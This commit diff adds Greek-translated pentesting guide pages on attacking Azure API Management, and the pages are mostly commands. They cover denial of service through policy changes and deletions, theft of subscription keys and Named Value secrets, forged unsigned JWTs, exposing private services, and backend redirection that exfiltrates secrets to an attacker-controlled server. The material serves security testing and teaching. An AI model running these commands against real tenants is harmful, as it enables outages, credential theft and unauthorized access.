Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-12-23 16:36:48 +00:00
parent 91264fe4ea
commit efbc021407
3 changed files with 321 additions and 0 deletions

View File

@@ -0,0 +1,75 @@
# Azure - API Management Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Ο επιτιθέμενος μπορεί να χρησιμοποιήσει πολλαπλά διανύσματα επίθεσης για να προκαλέσει denial of service. Για να μπλοκάρει νόμιμη κίνηση, ο επιτιθέμενος προσθέτει rate-limiting και quota policies με εξαιρετικά χαμηλές τιμές, εμποδίζοντας ουσιαστικά την κανονική πρόσβαση:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
Για να αποκλείσει συγκεκριμένες νόμιμες διευθύνσεις IP πελατών, ο επιτιθέμενος μπορεί να προσθέσει πολιτικές φιλτραρίσματος IP που απορρίπτουν αιτήσεις από επιλεγμένες διευθύνσεις:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` ή `Microsoft.ApiManagement/service/backends/delete`
Για να προκαλέσει αποτυχία των αιτήσεων, ο επιτιθέμενος μπορεί να τροποποιήσει μια διαμόρφωση backend και να αλλάξει το URL σε μια μη έγκυρη ή μη προσβάσιμη διεύθυνση:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'
```
Ή διαγράψτε backends:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Για να καταστήσει κρίσιμες APIs μη διαθέσιμες, ο επιτιθέμενος μπορεί να τις διαγράψει απευθείας από την API Management service:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Για να αποκλείσει την πρόσβαση από το Διαδίκτυο, ο επιτιθέμενος μπορεί να απενεργοποιήσει το public network access στο API Management service:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Για να αποκλείσει την πρόσβαση νόμιμων χρηστών, ο επιτιθέμενος μπορεί να διαγράψει API Management subscriptions:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,172 @@
# Az - API Management Privesc
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Η επίθεση αφορά την πρόσβαση σε ευαίσθητα μυστικά που αποθηκεύονται σε Azure API Management Named Values, είτε με την άμεση ανάκτηση των τιμών των μυστικών είτε με την κατάχρηση δικαιωμάτων για την απόκτηση Key Vaultbacked secrets μέσω managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Για κάθε subscription, ο επιτιθέμενος μπορεί να αποκτήσει τα subscription keys χρησιμοποιώντας το endpoint listSecrets με τη μέθοδο POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Η απάντηση περιλαμβάνει το κύριο κλειδί της συνδρομής (primaryKey) και το δευτερεύον κλειδί (secondaryKey). Με αυτά τα κλειδιά, ο επιτιθέμενος μπορεί να authenticate και να αποκτήσει πρόσβαση στα APIs που δημοσιεύονται μέσω του API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Ο επιτιθέμενος μπορεί να έχει πρόσβαση σε όλα τα APIs και τα προϊόντα που σχετίζονται με τη συνδρομή. Εάν η συνδρομή έχει πρόσβαση σε ευαίσθητα προϊόντα ή APIs, ο επιτιθέμενος ενδέχεται να αποκτήσει εμπιστευτικές πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
Ο επιτιθέμενος αρχικά ανακτά την τρέχουσα πολιτική του API:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Ο επιτιθέμενος μπορεί να τροποποιήσει την πολιτική με πολλούς τρόπους ανάλογα με τους στόχους του. Για παράδειγμα, για να disable authentication, αν η πολιτική περιλαμβάνει JWT token validation, ο επιτιθέμενος μπορεί να αφαιρέσει ή να σχολιάσει εκείνο το τμήμα:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Για να αφαιρέσει τους rate limiting ελέγχους και να επιτρέψει denial-of-service επιθέσεις, ο επιτιθέμενος μπορεί να αφαιρέσει ή να σχολιάσει τις quota και rate-limit πολιτικές:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Για να τροποποιήσετε τη διαδρομή του backend και να ανακατευθύνετε την κίνηση σε έναν server που ελέγχεται από τον επιτιθέμενο:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
Στη συνέχεια ο επιτιθέμενος εφαρμόζει την τροποποιημένη πολιτική. Το σώμα του αιτήματος πρέπει να είναι ένα αντικείμενο JSON που περιέχει την πολιτική σε μορφή XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## Λανθασμένη διαμόρφωση επαλήθευσης JWT
Ο επιτιθέμενος πρέπει να γνωρίζει ότι ένα API χρησιμοποιεί επαλήθευση JWT token και ότι η πολιτική είναι λανθασμένα διαμορφωμένη.
Οι ελλιπώς διαμορφωμένες πολιτικές επαλήθευσης JWT ενδέχεται να έχουν `require-signed-tokens="false"` ή `require-expiration-time="false"`, πράγμα που επιτρέπει στην υπηρεσία να αποδέχεται unsigned tokens ή tokens that never expire.
Ο επιτιθέμενος δημιουργεί ένα κακόβουλο JWT token χρησιμοποιώντας τον none αλγόριθμο (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
Ο attacker στέλνει ένα αίτημα στο API χρησιμοποιώντας το malicious token:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Εάν η πολιτική είναι λανθασμένα ρυθμισμένη με `require-signed-tokens="false"`, η υπηρεσία θα αποδεχθεί το μη υπογεγραμμένο token. Ο επιτιθέμενος μπορεί επίσης να δημιουργήσει ένα token χωρίς expiration claim αν `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Ο επιτιθέμενος ελέγχει πρώτα την τρέχουσα διαμόρφωση δικτύου της υπηρεσίας:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Ο επιτιθέμενος ελέγχει την JSON απάντηση για να επαληθεύσει τις τιμές των `publicNetworkAccess` και `virtualNetworkType`. Αν το `publicNetworkAccess` είναι ορισμένο σε false ή το `virtualNetworkType` είναι ορισμένο σε Internal, η υπηρεσία έχει ρυθμιστεί για ιδιωτική πρόσβαση.
Για να εκθέσει την υπηρεσία στο Διαδίκτυο, ο επιτιθέμενος πρέπει να αλλάξει και τις δύο ρυθμίσεις. Αν η υπηρεσία τρέχει σε εσωτερική λειτουργία (`virtualNetworkType: "Internal"`), ο επιτιθέμενος την αλλάζει σε None ή External και ενεργοποιεί το `publicNetworkAccess`. Αυτό μπορεί να γίνει χρησιμοποιώντας το Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Μόλις το `virtualNetworkType` οριστεί σε `None` ή `External` και το `publicNetworkAccess` είναι ενεργοποιημένο, η υπηρεσία και όλα τα APIs της γίνονται προσβάσιμα από το Internet, ακόμη κι αν προηγουμένως προστατεύονταν πίσω από ιδιωτικό δίκτυο ή private endpoints.
## `Microsoft.ApiManagement/service/backends/write`
Ο επιτιθέμενος αρχικά απαριθμεί τα υπάρχοντα backends για να εντοπίσει ποιο να τροποποιήσει:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Ο επιτιθέμενος ανακτά την τρέχουσα διαμόρφωση του backend που θέλει να τροποποιήσει:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Ο επιτιθέμενος τροποποιεί το backend URL ώστε να δείχνει σε server υπό τον έλεγχό του. Πρώτα λαμβάνει το ETag από την προηγούμενη απάντηση και στη συνέχεια ενημερώνει το backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
Εναλλακτικά, ο επιτιθέμενος μπορεί να διαμορφώσει τα backend headers για να exfiltrate Named Values που περιέχουν μυστικά. Αυτό γίνεται μέσω της backend credentials configuration:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
Με αυτή τη διαμόρφωση, οι Named Values αποστέλλονται ως headers σε όλα τα requests προς τον attacker-controlled backend, επιτρέποντας την exfiltration ευαίσθητων secrets.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,74 @@
# Az - API Management
{{#include ../../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Azure API Management (APIM) είναι μια πλήρως διαχειριζόμενη υπηρεσία που προσφέρει μια **ενιαία πλατφόρμα για δημοσίευση, ασφάλιση, μετασχηματισμό, διαχείριση και παρακολούθηση APIs**. Επιτρέπει στις οργανώσεις να **εξομαλύνουν τη στρατηγική των API τους** και να διασφαλίζουν συνεπή διακυβέρνηση, απόδοση και ασφάλεια σε όλες τις υπηρεσίες τους. Λειτουργώντας ως ένα επίπεδο αφαίρεσης μεταξύ των backend υπηρεσιών και των καταναλωτών API, το APIM απλοποιεί την ενσωμάτωση και βελτιώνει τη συντηρησιμότητα ενώ παρέχει βασικές λειτουργίες επιχειρησιακής και ασφάλειας.
## Κύριες Έννοιες
Η **Πύλη API** λειτουργεί ως το μοναδικό σημείο εισόδου για όλη την κίνηση API, διαχειριζόμενη λειτουργίες όπως δρομολόγηση αιτήσεων προς backend υπηρεσίες, επιβολή ορίων ρυθμού, προσωρινή αποθήκευση απαντήσεων και διαχείριση authentication και authorization. Αυτή η πύλη φιλοξενείται και διαχειρίζεται πλήρως από το Azure, εξασφαλίζοντας υψηλή διαθεσιμότητα και κλιμάκωση.
Η **Πύλη Προγραμματιστών** παρέχει ένα περιβάλλον self-service όπου οι καταναλωτές API μπορούν να ανακαλύψουν διαθέσιμα APIs, να διαβάσουν την τεκμηρίωση και να δοκιμάσουν endpoints. Βοηθά στην απλοποίηση της ένταξης παρέχοντας διαδραστικά εργαλεία και πρόσβαση σε πληροφορίες συνδρομής.
Το **Πίνακας Διαχείρισης (Management Plane)** χρησιμοποιείται από διαχειριστές για να διαμορφώσουν και να συντηρήσουν την υπηρεσία APIM. Από εδώ, οι χρήστες μπορούν να ορίσουν APIs και operations, να διαμορφώσουν access control, να εφαρμόσουν πολιτικές, να διαχειριστούν χρήστες και να οργανώσουν τα APIs σε προϊόντα. Αυτός ο πίνακας κεντρικοποιεί τη διοίκηση και διασφαλίζει συνεπή διακυβέρνηση των API.
## Authentication and Authorization
Το Azure API Management υποστηρίζει αρκετούς μηχανισμούς **authentication** για την ασφάλεια της πρόσβασης στα API. Αυτοί περιλαμβάνουν **subscription keys**, **OAuth 2.0 tokens**, και **client certificates**. Το APIM επίσης ενσωματώνεται εγγενώς με την **Microsoft Entra ID**, επιτρέποντας **enterprise-level identity management** και **secure access** τόσο στα APIs όσο και στις backend υπηρεσίες.
## Πολιτικές
Οι πολιτικές στο APIM επιτρέπουν στους διαχειριστές να προσαρμόσουν την **επεξεργασία αιτήσεων και απαντήσεων** σε διάφορα επίπεδα λεπτομέρειας, συμπεριλαμβανομένου του **service**, **API**, **operation**, ή **product** επιπέδου. Μέσω πολιτικών, είναι δυνατόν να εφαρμοστεί **JWT token validation**, **μετασχηματισμός XML ή JSON payloads**, **επιβολή rate limiting**, **περιορισμός κλήσεων ανά διεύθυνση IP**, ή **authentication έναντι backend υπηρεσιών χρησιμοποιώντας managed identities**. Οι πολιτικές είναι **πολύ ευέλικτες** και αποτελούν ένα από τα **βασικά πλεονεκτήματα** της πλατφόρμας API Management, επιτρέποντας **λεπτομερή έλεγχο της συμπεριφοράς κατά το runtime** χωρίς τροποποίηση του κώδικα του backend.
## Ονομασμένες Τιμές
Η υπηρεσία παρέχει έναν μηχανισμό που ονομάζεται **Named Values**, ο οποίος επιτρέπει την αποθήκευση **πληροφοριών διαμόρφωσης** όπως **μυστικά**, **API keys**, ή άλλες τιμές που απαιτούνται από τις πολιτικές.
Αυτές οι τιμές μπορούν να αποθηκευτούν απευθείας μέσα στο APIM ή να αναφερθούν με ασφάλεια από το **Azure Key Vault**. Οι Ονομασμένες Τιμές προάγουν την **ασφαλή και κεντρική διαχείριση** των δεδομένων διαμόρφωσης και απλοποιούν τη συγγραφή πολιτικών επιτρέποντας **επαναχρησιμοποιήσιμες αναφορές** αντί για hardcoded τιμές.
## Δικτύωση και Ενσωμάτωση Ασφάλειας
Το Azure API Management ενσωματώνεται απρόσκοπτα με **virtual network environments**, επιτρέποντας **ιδιωτική και ασφαλή συνδεσιμότητα** με backend συστήματα.
Όταν αναπτύσσεται μέσα σε ένα **Virtual Network (VNet)**, το APIM μπορεί να έχει πρόσβαση σε **εσωτερικές υπηρεσίες** χωρίς να τις εκθέτει δημόσια. Η υπηρεσία επίσης επιτρέπει τη διαμόρφωση **custom certificates** για την υποστήριξη **mutual TLS authentication** με backend υπηρεσίες, βελτιώνοντας την ασφάλεια σε σενάρια όπου απαιτείται **ισχυρή επαλήθευση ταυτότητας**.
Αυτές οι **δυνατότητες δικτύωσης** καθιστούν το APIM κατάλληλο τόσο για **cloud-native** όσο και για **hybrid αρχιτεκτονικές**.
### Εντοπισμός
Για να εντοπίσετε την υπηρεσία API management:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>
# Retrieves all policies applied at the API level in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
# Retrieves the effective policy for a specific API in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
# Gets the configuration details of the APIM service instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
# Lists all backend services registered in the APIM instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
# Retrieves details of a specific backend service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
# Gets general information about the APIM service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
# Calls an exposed API endpoint through the APIM gateway
curl https://<apim>.azure-api.net/<api-path>
```
{{#include ../../../banners/hacktricks-training.md}}